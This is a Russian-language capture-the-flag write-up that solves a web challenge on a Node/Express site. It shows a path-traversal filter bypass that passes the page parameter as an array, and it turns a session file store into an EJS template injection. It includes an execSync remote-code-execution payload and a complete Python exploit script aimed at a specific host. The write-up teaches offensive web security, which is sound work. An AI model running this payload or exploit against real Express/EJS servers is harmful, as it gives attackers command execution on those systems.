Я добавил несколько проверок в код, чтобы усилить безопасность сайта. Надеюсь, что теперь мой сайт полностью безопасен. Если вы обойдёте защиту, сможете получить флаг в директории /tmp/. Не думаю, что у вас получится.
Флаг: LetoCTF{sSt1_1n_ejs_sT1ll_w0rk5_iN_2020}
Веб-сайт, который предлагается "взломать", имеет достаточно минималистичный дизайн и содержит не так много функций:
- можно залогиниться, если ввести логин в специальное поле и нажать на кнопку login
- можно разлогиниться, если нажать на кнопку logout
- главная (и единственная) страница сайта имеет адрес
/view?page=index
У аккаунта есть единственное поле, которое мы можем контролировать — логин (username), других полей нет.
Задание состоит из нескольких этапов, которые необходимо пройти последовательно, чтобы получить флаг.
Первое, что нужно было сделать — посмотреть в исходный код страницы и увидеть там html-комментарий:
<!-- see /?source=1 -->
Это может быть полезным! Переходим по адресу /?source=1
и находим там исходный код сервера:
const express = require('express')
const session = require('express-session')
const store = require('session-file-store')(session)
const app = express()
app.set('view engine', 'json');
app.engine('json', require('ejs').__express);
app.use(express.urlencoded({ extended: true }))
app.use(session({
store: new store(),
secret: '🤔',
resave: false,
saveUninitialized: true
}))
app.get('/', (req, res) => {
if (req.query.source) {
res.sendFile(__filename)
return
}
res.redirect('/view?page=index')
});
app.post('/login', (req, res) => {
let { username } = req.body;
if (username) {
req.session.user = username.toString()
}
res.redirect('/');
});
app.post('/logout', (req, res) => {
delete req.session.user
res.redirect('/');
});
app.get('/view', (req, res) => {
let page = req.query.page
if (!page) {
res.redirect('/')
return
}
page = makesafe(strip(page))
res.render(`pages/${page}`, { user: req.session.user })
})
function strip(str) {
// prevent path traversal in leading characters
// "/etc/passwd", "../etc/passwd" -> will not work
const regex = /^[a-z0-9]/im
if (!regex.test(str[0])) {
if (str.length > 0) {
return strip(str.slice(1))
}
}
return str
}
function makesafe(str) {
// remove all directory traversal sequences
// "aaa/../../../../etc/passwd" -> will not work
if (str.includes('../')) {
return makesafe(str.replace('../', ''))
}
return str
}
app.listen(31337, '0.0.0.0');
Как мы видим, сервис написан на Node с использованием фреймворка Express и имеет всего три обработчика:
/login
— ставит в сессию параметрuser
, который мы вводим/logout
— удаляет из сессии параметрuser
/view
— принимает путь до страницы в параметреpage
и рендерит её
Кроме них, в исходном коде есть две функции, которые пытаются сделать параметр page
безопасным: удаляют из него подстроки '../'
так, чтобы исключить возможность сделать атаку path traversal. Кажется, про эти функции автор говорил в описании таска. Значит, именно они станут нашей целью.
Сначала исследуем исходный код и попытаемся придумать вектор атаки.
Описание сообщает, что флаг находится в директории /tmp/
на сервере, при этом имя файла с флагом неизвестно. Значит, нам нужно научиться делать две вещи:
- получать список файлов в заданной директории
- читать любой файл на сервере
В коде сервера нет подходящих для этого функций, из чего можно сделать вывод, что нам необходимо получить RCE. Если подумать, какие есть уязвимости, которые могут привести к RCE в нашем случае, сразу вспомнится SSTI — возможность контролировать шаблон, который рендерится сервером, что при определённых условиях приводит к выполнению произвольного кода.
Вспомним, как работает рендер шаблонов в Express. По умолчанию при вызове res.render
сервер ищет шаблон в директории views
, находящейся рядом с index.js
. Если по заданному пути шаблона нет, выбрасывается исключение (это мы можем проверить, если зайдём на /view?page=abc
и получим ошибку 500 от сервера). Расширение файла с шаблоном определяется движком отрисовки шаблона (шаблонизатором), но может быть изменено в коде сервера, что и происходит в нашем случае:
app.set('view engine', 'json');
app.engine('json', require('ejs').__express);
Как мы видим, используется движок ejs, но расширение файла с шаблоном зачем-то изменено с .ejs
на .json
. Выглядит подозрительно! Это значит, если мы найдём на сервере файл с расширением .json
, который мы можем контролировать, то мы сможем проэксплуатировать уязвимость SSTI. Теперь нам нужно научиться делать две вещи:
- писать в какой-нибудь
.json
файл на сервере - передавать путь к такому файлу в функцию
res.render
Чтобы хранить логин каждого пользователя, сервис использует сессии, в которые записывает параметр username
:
const session = require('express-session')
const store = require('session-file-store')(session)
const app = express()
app.use(session({
store: new store(),
secret: '🤔',
resave: false,
saveUninitialized: true
}))
Для хранения сессий используется модуль express-session. В описании к нему мы можем прочитать следующее:
Note: Session data is not saved in the cookie itself, just the session ID. Session data is stored server-side.
Warning: The default server-side session storage, MemoryStore, is purposely not designed for a production environment. It will leak memory under most conditions, does not scale past a single process, and is meant for debugging and developing.
Нам важно, что этот модуль хранит содержимое сессии на стороне сервера, а клиенту передаёт только ID сессии (уникальный идентификатор сессии). По умолчанию сессии хранятся в оперативной памяти сервера (MemoryStore), но в нашем таске автор использует другое хранилище сессий — session-file-store. Из описания (и названия) этого модуля ясно, что он записывает сессии на диск, значит, куда-то на диск записывается наш username
, с которым мы логинимся. Кажется, это может стать тем самым контролируемым файлом на сервере, который мы ищем.
Посмотрим на исходный код модуля на GitHub, чтобы найти, куда он сохраняет сессии. В файле lib/session-file-helpers.js
мы видим следующий код:
sessionPath: function (options, sessionId) {
//return path.join(basepath, sessionId + '.json');
return path.join(options.path, sessionId + options.fileExtension);
}
Стало ясно, что сессии хранятся в какой-то директории, каждая сессия в отдельном файле с каким-то расширением, которое берётся из options
. Так как в коде сервера не передаётся никаких аргументов конструктору хранилища, посмотрим на значения по умолчанию (которые определены в том же файле):
DEFAULTS: {
path: './sessions',
ttl: 3600,
retries: 5,
factor: 1,
minTimeout: 50,
maxTimeout: 100,
reapInterval: 3600,
reapMaxConcurrent: 10,
reapAsync: false,
reapSyncFallback: false,
logFn: console.log || function () {
},
encoding: 'utf8',
encoder: JSON.stringify,
decoder: JSON.parse,
encryptEncoding: 'hex',
fileExtension: '.json',
crypto: {
algorithm: "aes-256-gcm",
hashing: "sha512",
use_scrypt: true
},
keyFunction: function (secret, sessionId) {
return secret + sessionId;
},
}
Обратим внимание на две строки:
path: './sessions'
fileExtension: '.json'
Используя их, мы можем составить путь к файлу с сессией, зная sessionId: ./sessions/{sessionId}.json
. А это как раз тот контролируемый .json
-файл, который мы искали! Осталось понять, как получить sessionId из cookie — нужно посмотреть на исходный код express-session и найти, как он формирует cookie. Смотрим в файл index.js
function setcookie(res, name, val, secret, options) {
var signed = 's:' + signature.sign(val, secret);
var data = cookie.serialize(name, signed, options);
debug('set-cookie %s', data);
var prev = res.getHeader('Set-Cookie') || []
var header = Array.isArray(prev) ? prev.concat(data) : [prev, data];
res.setHeader('Set-Cookie', header)
}
и видим, что значение подписывается модулем cookie-signature и записывается после s:
. Смотрим исходный код cookie-signature:
exports.sign = function(val, secret){
if ('string' != typeof val) throw new TypeError("Cookie value must be provided as a string.");
if ('string' != typeof secret) throw new TypeError("Secret string must be provided.");
return val + '.' + crypto
.createHmac('sha256', secret)
.update(val)
.digest('base64')
.replace(/\=+$/, '');
};
После значения через символ точки .
записывается подпись. То есть, чтобы получить sessionId из cookie, нужно взять подстроку между двоеточием и точкой. Пример:
Если cookie имеет вид s:vz02lD-WvchaGERDNavRrBWzcaKhP9_4.uvfXSXWFKxc+nAVee3qqqlNMm2XvvYSP/MojpVpB4zM
, то sessionId будет vz02lD-WvchaGERDNavRrBWzcaKhP9_4
.
Мы научились записывать данные в файл с расширением .json
, теперь надо подумать, как его рендерить. Разберём две функции проверки.
function strip(str) {
// prevent path traversal in leading characters
// "/etc/passwd", "../etc/passwd" -> will not work
const regex = /^[a-z0-9]/im
if (!regex.test(str[0])) {
if (str.length > 0) {
return strip(str.slice(1))
}
}
return str
}
function makesafe(str) {
// remove all directory traversal sequences
// "aaa/../../../../etc/passwd" -> will not work
if (str.includes('../')) {
return makesafe(str.replace('../', ''))
}
return str
}
Первая функция удаляет из начала строки служебные символы, а вторая — удаляет из всей строки подстроку '../'
до тех пор, пока эта подстрока находится в строке. Выглядит безопасно? Для строки — да. Но не для массива!
Подумаем, что будет, если передать в параметре page
не строку, а массив. Первая функция будет тестировать по очереди первые элементы массива, а вторая — искать в массиве строку '../'
. Если передать такой массив, в котором первый элемент будет строкой из подходящих символов, а среди остальных элементов не будет строки '../'
, то такой массив пройдёт проверку.
Заметим, что в пути к шаблону параметр page
приводится к типу строки принудительно:
page = makesafe(strip(page))
res.render(`pages/${page}`, { user: req.session.user })
В JavaScript массив при переводе в строку переводит в строки каждый элемент и конкатенирует их через запятую:
> ['A', 'B', 'C'].toString()
'A,B,C'
То есть, передав в page
примерно такой массив ['X', 'Y/../Z']
, это превратится в строку 'X,Y/../Z'
, и мы достанем до шаблона, лежащего по пути:
./views/pages/X,Y/../Z
Если мы научимся передавать в page
массив, мы получим рабочий path traversal!
Если вы помните, сервер использует Express для обработки http-запросов. Посмотрим на его исходный код. Нам нужна та часть кода, которая разбирает параметры GET-запроса. Сделаем поиск по слову query
и найдём файл lib/middleware/query.js
:
var qs = require('qs');
module.exports = function query(options) {
var opts = merge({}, options)
var queryparse = qs.parse;
if (typeof options === 'function') {
queryparse = options;
opts = undefined;
}
if (opts !== undefined && opts.allowPrototypes === undefined) {
// back-compat for qs module
opts.allowPrototypes = true;
}
return function query(req, res, next){
if (!req.query) {
var val = parseUrl(req).query;
req.query = queryparse(val, opts);
}
next();
};
}
Видим, что используется модуль qs. Посмотрим в его исходный код. Чтобы не разбираться во всём модуле, обратим внимание на тесты в файле test/parse.js
. Один из тестов выглядит полезным:
st.deepEqual(qs.parse('a[]=b&a[]=c', { arrayFormat: 'brackets' }), { a: ['b', 'c'] });
Теперь понятно, что если передать параметр page
несколько раз, он сохранится как массив.
Мы научились рендерить произвольный шаблон, осталось понять, как сделать RCE в шаблонизаторе ejs. Рабочее решение находится в интернете. Например, на GitHub есть полезная утилита tplmap, которая умеет автоматически проводить инъекции в разные шаблоны. В файле plugins/engines/ejs.py
можно найти пример пэйлоада для ejs:
<%- global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString()) %>
Если мы не хотим использовать base64, можно упростить пэйлоад до
<%- global.process.mainModule.require('child_process').execSync('code') %>
С помощью RCE и несложных команд шелла можно посмотреть список файлов в директории /tmp/
и получить флаг.
- логинимся с именем, которое является инъекцией в шаблон
- достаём sessionId из cookie
- обходим проверку на path traversal в
/view
, используя массив - рендерим файл с нашей сессией как шаблон
#!/usr/bin/env python3.7
import sys
import requests
from urllib.parse import quote, unquote
def make_username(cmd):
return f"<%- global.process.mainModule.require('child_process').execSync('{cmd}') %>"
def make_payload(path):
return f'?page[]=X&page[]=Y/../{path}'
def main(ip, port):
# cmd = 'ls -la /tmp/'
cmd = 'cat /tmp/flag_2af0398492b0ba9f48ee93ff741aa601.txt'
username = make_username(cmd)
url = f'http://{ip}:{port}'
session = requests.session()
session.post(url + '/login', data={'username': username})
cookie = unquote(session.cookies['connect.sid'])
session_id = cookie[cookie.find(':') + 1:cookie.find('.')]
print(f'session id: {session_id}')
path = f'../../sessions/{session_id}.json'
payload = make_payload(path)
response = requests.get(url + '/view' + payload).text
prefix = '{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"user":"'
suffix = '","__lastAccess":1594639582793}'
print(response[len(prefix):-len(suffix) - 1])
if __name__ == '__main__':
ip, port = '5.8.181.130', 5945
main(ip, port)